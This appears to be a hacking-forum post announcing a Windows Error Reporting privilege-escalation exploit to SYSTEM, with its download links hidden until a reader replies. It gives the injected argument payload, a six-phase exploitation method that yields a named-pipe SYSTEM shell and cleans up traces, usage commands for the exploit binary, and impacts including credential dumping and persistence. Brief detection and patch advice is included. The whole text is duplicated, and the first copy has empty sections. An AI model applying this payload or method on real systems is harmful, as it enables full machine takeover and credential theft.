Original post
Hidden link: log in and reply to this thread to see it
# CVE-2026-97798 — Windows Error Reporting: Argument Injection to SYSTEM
Local Privilege Escalation (LPE) → NT AUTHORITY\SYSTEM
---
## Overview
CVE: CVE-2026-97798
CVSS v3.1: 7.8 (HIGH) — `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
Type: Two-stage chain — Argument Injection (CWE-88) + Incomplete Blacklist (CWE-184)
Impact: Interactive SYSTEM shell in session 0
---
## Affected Components
| Component | Vulnerable | Fixed |
| --- | --- | --- |
| OS | Windows 11 24H2 x64 (build 26100.9550) | — |
| `faultrep.dll` | ≤ 10.0.26100.9549 | 10.0.26100.9711 |
| TTTracer / TTDRecord | 1.11.580.0 | — |
Patched systems are not exploitable — the legacy TTD request path is disabled via `Feature_2315925819::IsEnabled()` returning `E_NOTIMPL`.
---
## Root Cause
The vulnerable flow crosses the WER privilege boundary:
```text
low/medium-integrity process
→ faultrep.dll!CElevatedDataCollection::ControlTimeTravelDebugging
→ faultrep.dll!SpawnDataCollector
→ WER service (elevated collector)
→ CDataCollection::ControlTimeTravelDebugging
→ TtdControl::LaunchRecordingProcess
→ TTTracer.exe / TTDRecord.dll parser
→ attacker-controlled -launch target
```
Link 1 — Argument Injection (CWE-88): `assign_sprintf` formats the `Process` value without quoting:
`"... -onlaunch %s -out %s"` — spaces inside the input become argument delimiters.
Link 2 — Incomplete Blacklist (CWE-184): `CDataCollection::ControlTimeTravelDebugging` uses an exact-name comparison against 7 fixed names (tttracer.exe, ttdinject.exe, svchost.exe, WmiPrvSE.exe, dllhost.exe, rundll32.exe, taskhost.exe). Appending a space + keys bypasses it.
Auxiliary — Path Traversal (CWE-23): Relative paths (`..\..\Users\Public\...`) avoid `ERROR_INVALID_NAME (123)` caused by the colon in absolute paths during `.ttdconfig` generation.
---
## Injected Payload
```text
Process=CVE-2026-97798-payload.exe
-out ..\..\Users\Public\Documents\CVE97798\trace
-launch ..\..\Users\Public\Documents\CVE97798\CVE-2026-97798-payload.exe
--payload;
```
Note: This is argument injection, not shell-command injection — no `cmd.exe /c` is required at the sink. TTTracer itself interprets the injected switches.
---
## Exploit Phases
---
## Impact
An unprivileged user can:
Critical for workstations, servers, RDS/VDI multi-user environments.
---
## Validation
| Item | Value |
| --- | --- |
| OS | Windows 11 24H2 x64, build `26100.9550` |
| Vulnerable `faultrep.dll` | `10.0.26100.9549` |
| Fixed comparison | `10.0.26100.9711` |
| Resolver check | `9549`: RVA `0x4CEB0`; `9711`: RVA `0x4E40C` |
| PoC SHA-256 | `C7B8FAFB132D69E9BD5A398AE183107155129C7080A87D56EFE55572450B4147` |
Validated from both standard user and UAC-filtered administrator contexts.
---
## Usage
```powershell
.\bin\CVE-2026-97798.exe # trigger exploit
.\bin\CVE-2026-97798.exe --resolve C:\path\to\faultrep.dll # offline resolver test
.\bin\CVE-2026-97798.exe --preflight # preflight installed DLL
```
On success:
```text
[CVE-2026-97798] Exploit shell token:
nt authority\system
```
Proof written to: `C:\Users\Public\Documents\CVE97798\system-proof.txt`
---
## Detection & Remediation
Telemetry: Unexpected `TTTracer.exe` executions from WER; command lines with repeated/unusual `-onlaunch`, `-out`, `-launch`; recorder children from user-writable directories. Correlate WER activity, TTTracer command lines, creator PID, token elevation, file hashes.
Fix: Install Microsoft update with `faultrep.dll` ≥ 10.0.26100.9711.
Interim: AppLocker/WDAC blocking execution from `C:\Users\Public\`, `%TEMP%`; monitor WER/TTTracer launch events.
---
## References
# CVE-2026-97798 — Windows Error Reporting: Argument Injection to SYSTEM
Local Privilege Escalation (LPE) → NT AUTHORITY\SYSTEM
---
## Overview
CVE: CVE-2026-97798
CVSS v3.1: 7.8 (HIGH) — `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
Type: Two-stage chain — Argument Injection (CWE-88) + Incomplete Blacklist (CWE-184)
Impact: Interactive SYSTEM shell in session 0
---
## Affected Components
| Component | Vulnerable | Fixed |
| --- | --- | --- |
| OS | Windows 11 24H2 x64 (build 26100.9550) | — |
| `faultrep.dll` | ≤ 10.0.26100.9549 | 10.0.26100.9711 |
| TTTracer / TTDRecord | 1.11.580.0 | — |
---
## Root Cause
The vulnerable flow crosses the WER privilege boundary:
```text
low/medium-integrity process
→ faultrep.dll!CElevatedDataCollection::ControlTimeTravelDebugging
→ faultrep.dll!SpawnDataCollector
→ WER service (elevated collector)
→ CDataCollection::ControlTimeTravelDebugging
→ TtdControl::LaunchRecordingProcess
→ TTTracer.exe / TTDRecord.dll parser
→ attacker-controlled -launch target
```
Link 1 — Argument Injection (CWE-88): `assign_sprintf` formats the `Process` value without quoting:
`"... -onlaunch %s -out %s"` — spaces inside the input become argument delimiters.
Link 2 — Incomplete Blacklist (CWE-184): `CDataCollection::ControlTimeTravelDebugging` uses an exact-name comparison against 7 fixed names (tttracer.exe, ttdinject.exe, svchost.exe, WmiPrvSE.exe, dllhost.exe, rundll32.exe, taskhost.exe). Appending a space + keys bypasses it.
Auxiliary — Path Traversal (CWE-23): Relative paths (`..\..\Users\Public\...`) avoid `ERROR_INVALID_NAME (123)` caused by the colon in absolute paths during `.ttdconfig` generation.
---
## Injected Payload
```text
Process=CVE-2026-97798-payload.exe
-out ..\..\Users\Public\Documents\CVE97798\trace
-launch ..\..\Users\Public\Documents\CVE97798\CVE-2026-97798-payload.exe
--payload;
```
Note: This is argument injection, not shell-command injection — no `cmd.exe /c` is required at the sink. TTTracer itself interprets the injected switches.
---
## Exploit Phases
- Phase 1 — Reset TTD state, stage working directories, dynamically resolve `SpawnDataCollector` via PE64 exception table + MSVC prologue signature + WER opcode 0xD0000002 (no hardcoded RVA).
- Phase 2 — Launch integrated console; wait on named pipes `\\.\pipe\CVE97798_in` / `_out`.
- Phase 3 — Call `SpawnDataCollector`, obtain `IFaultrepElevatedDataCollection`, adjust via `CoSetProxyBlanket`, invoke `ControlTimeTravelDebugging` with the crafted `Process` string.
- Phase 4 — WER service formats and launches `TTTracer.exe` as NT AUTHORITY\SYSTEM; parser treats `-launch` as a third-party process directive.
- Phase 5 — Payload checks its token, exposes a real `cmd.exe` over named pipes (DACL=NULL), or re-creates itself via `CreateProcessWithTokenW` / Task Scheduler fallback for UAC-filtered admins.
- Phase 6 — Artifact sweep: kills TTTracer/TTDInject, runs `-cleanup`, deletes scheduled task.
---
## Impact
An unprivileged user can:
- Execute arbitrary binaries as NT AUTHORITY\SYSTEM in session 0
- Bypass UAC and Windows Integrity Levels
- Obtain an interactive SYSTEM shell
- Dump SAM/LSASS credentials, modify system files/registry, install persistence
Critical for workstations, servers, RDS/VDI multi-user environments.
---
## Validation
| Item | Value |
| --- | --- |
| OS | Windows 11 24H2 x64, build `26100.9550` |
| Vulnerable `faultrep.dll` | `10.0.26100.9549` |
| Fixed comparison | `10.0.26100.9711` |
| Resolver check | `9549`: RVA `0x4CEB0`; `9711`: RVA `0x4E40C` |
| PoC SHA-256 | `C7B8FAFB132D69E9BD5A398AE183107155129C7080A87D56EFE55572450B4147` |
Validated from both standard user and UAC-filtered administrator contexts.
---
## Usage
```powershell
.\bin\CVE-2026-97798.exe # trigger exploit
.\bin\CVE-2026-97798.exe --resolve C:\path\to\faultrep.dll # offline resolver test
.\bin\CVE-2026-97798.exe --preflight # preflight installed DLL
```
On success:
```text
[CVE-2026-97798] Exploit shell token:
nt authority\system
```
Proof written to: `C:\Users\Public\Documents\CVE97798\system-proof.txt`
---
## Detection & Remediation
Telemetry: Unexpected `TTTracer.exe` executions from WER; command lines with repeated/unusual `-onlaunch`, `-out`, `-launch`; recorder children from user-writable directories. Correlate WER activity, TTTracer command lines, creator PID, token elevation, file hashes.
Fix: Install Microsoft update with `faultrep.dll` ≥ 10.0.26100.9711.
Interim: AppLocker/WDAC blocking execution from `C:\Users\Public\`, `%TEMP%`; monitor WER/TTTracer launch events.
---
## References
- Hidden link: log in and reply to this thread to see it
- Hidden link: log in and reply to this thread to see it
- Hidden link: log in and reply to this thread to see it
